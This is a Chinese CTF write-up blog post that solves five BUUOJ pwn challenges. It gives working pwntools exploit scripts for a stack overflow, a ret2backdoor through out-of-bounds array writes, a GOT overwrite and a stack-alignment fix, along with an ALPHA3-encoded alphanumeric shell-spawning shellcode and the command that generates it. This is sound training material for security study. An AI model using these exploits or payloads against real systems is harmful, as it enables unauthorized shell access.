mrctf2020_shellcode_revenge|wustctf2020_name_your_cat|2018_gettingStart|SUCTF_2018_stack|wustctf2020

这五道题都异常简单。。。也不知道为啥

wustctf2020_number_game

这题大概是csapp第二章学好了直接连就可以了。

v1=Tmin=-2147483648即可。因为32位有符号整数下Tmin是1000_0000_0000_0000,取反码加上1还是Tmin

 

2018_gettingStart

好吧,这道题还是CSAPP第二章知识直接运用。有一个简单的溢出覆盖,其实是考察浮点的位表示,写个c程序跑一下就出来了

#include<stdio.h>
int main(int argc, char *argv[])
{
  int i;
  unsigned long uf;
  union {
    unsigned long u;
    double f;
  } v;
  v.f=0.1;
  printf("%lx\n",v.u);

  
}

把输出的值放回去就可以了

from pwn import *
# io=process('./2018_gettingStart')
io=remote('node3.buuoj.cn',27403)
io.recvuntil('you.')
payload = 'a'*24+p64(0x7fffffffffffffff)+p64(0x3fb999999999999a)
io.send(payload)
io.interactive()

 

mrctf2020_shellcode_revenge

这道题算是有点意思,首先是ida无法反编译,好啊那流程图都给出来了,能空手bomblab的我还能看不懂逆向?(好我怂了...

emm其实还真的不难,流程是这样的

然后看循环,注意到cnt是loc_1236的[rbp+var_4],被比较的对象在

而rbp+var_8是字符串的长度。

接下来一些比较我举个例子

由此可以得到三个ascii范围,取并集就发现这是在0x60~0x7a并0x2f到0x5a之间

这里要用到一个alpha3的工具,可以将ascii指令变成可见字符,用如下命令将asm(shellcraft.sh())送往alpha3,shellcode是保存shellcraft.sh的文件名

>   python ./ALPHA3.py x64 ascii mixedcase rax --input="shellcode"

 这里参数含义是:x64架构,ascii字符(还可选拉丁什么的)mixedcase:大小写混合(还可以uppercase只有大写)rax:指执行shellcode时被调用的寄存器。比如此时是call rax执行shellcode就写rax

之后放到payload里面就可以了。注意末尾不要写\n或者sendline,会被认为不合法

from pwn import *
context.arch = "amd64"

# f = open("sc.bin","w")
# payload = asm(shellcraft.sh())
# f.write(payload)
# f.close()




io=remote('node3.buuoj.cn',29474)

context.log_level='debug'
io.recv()

payload = 'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
io.send(payload)


io.interactive()

 wustctf2020_name_your_cat/dog

这题也简单,是一个数组大小越界问题,以前确实是没见过,长见识了

exp(name your cat)

from pwn import *
context.log_level='debug'
# io=process('./wustctf2020_name_your_cat')

io=remote('node3.buuoj.cn',25363)
backdoor = 0x080485CB

# gdb.attach(io,"b *0x080486B1")

io.sendlineafter('>','7')
io.sendlineafter('Give your name plz: ',p32(backdoor))



for i in range (4):
    io.sendlineafter('>','1')
    io.sendlineafter('Give your name plz: ','aaaa')



io.interactive()

越界的原因和写法:

 

name_your_dog

这个和上一题差不多,但是没把数组放在栈上。因此考虑修改got表中的一个数值即可。注意到和.bss上的dog地址差必须是8的倍数,printf不行。选择scanf即可

exp

from pwn import *
context.log_level='debug'
# io=process('./wustctf2020_name_your_dog')
io=remote('node3.buuoj.cn',28763)

# io=remote('node3.buuoj.cn',25363)
backdoor = 0x080485CB

# gdb.attach(io,"b *0x0804871f")

io.sendlineafter('>','-7')
io.sendlineafter('Give your name plz: ',p32(backdoor))



# for i in range (4):
#     io.sendlineafter('>','1')
#     io.sendlineafter('Give your name plz: ','aaaa')



io.interactive()

SUCTF_2018_stack

这题我一开始看到更是感到离谱,什么保护都没开还有一个栈溢出,甚至还有一个明摆的后门。但远程打的时候总是timeout才意识到问题不对

上网看了别人的wp才学到,ubuntu18在程序中有system("/bin/sh")的时候,会检查是否对齐,可以参考这篇文章

所以只需要把backdoor指令的地址往后移动一位就可以了,因为这里没平衡就是末尾是8而不是0,而一条指令的长度就是8.看一下下一条指令是push rbp和/bin/sh关系不大,可以被破坏,就加上1就可以

exp

from pwn import *
# io=process('./SUCTF_2018_stack')
io=remote('node3.buuoj.cn',28911)
backdoor=0x400676

payload = 'a'*0x28+p64(0x400677) #here added 1


io.sendline(payload)


io.interactive()

总之这几道题简单的离谱了。。。虽然还是学到了栈平衡和alpha3这个工具。后者挺有用的因为现实场景中大部分会过滤不可见字符。

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值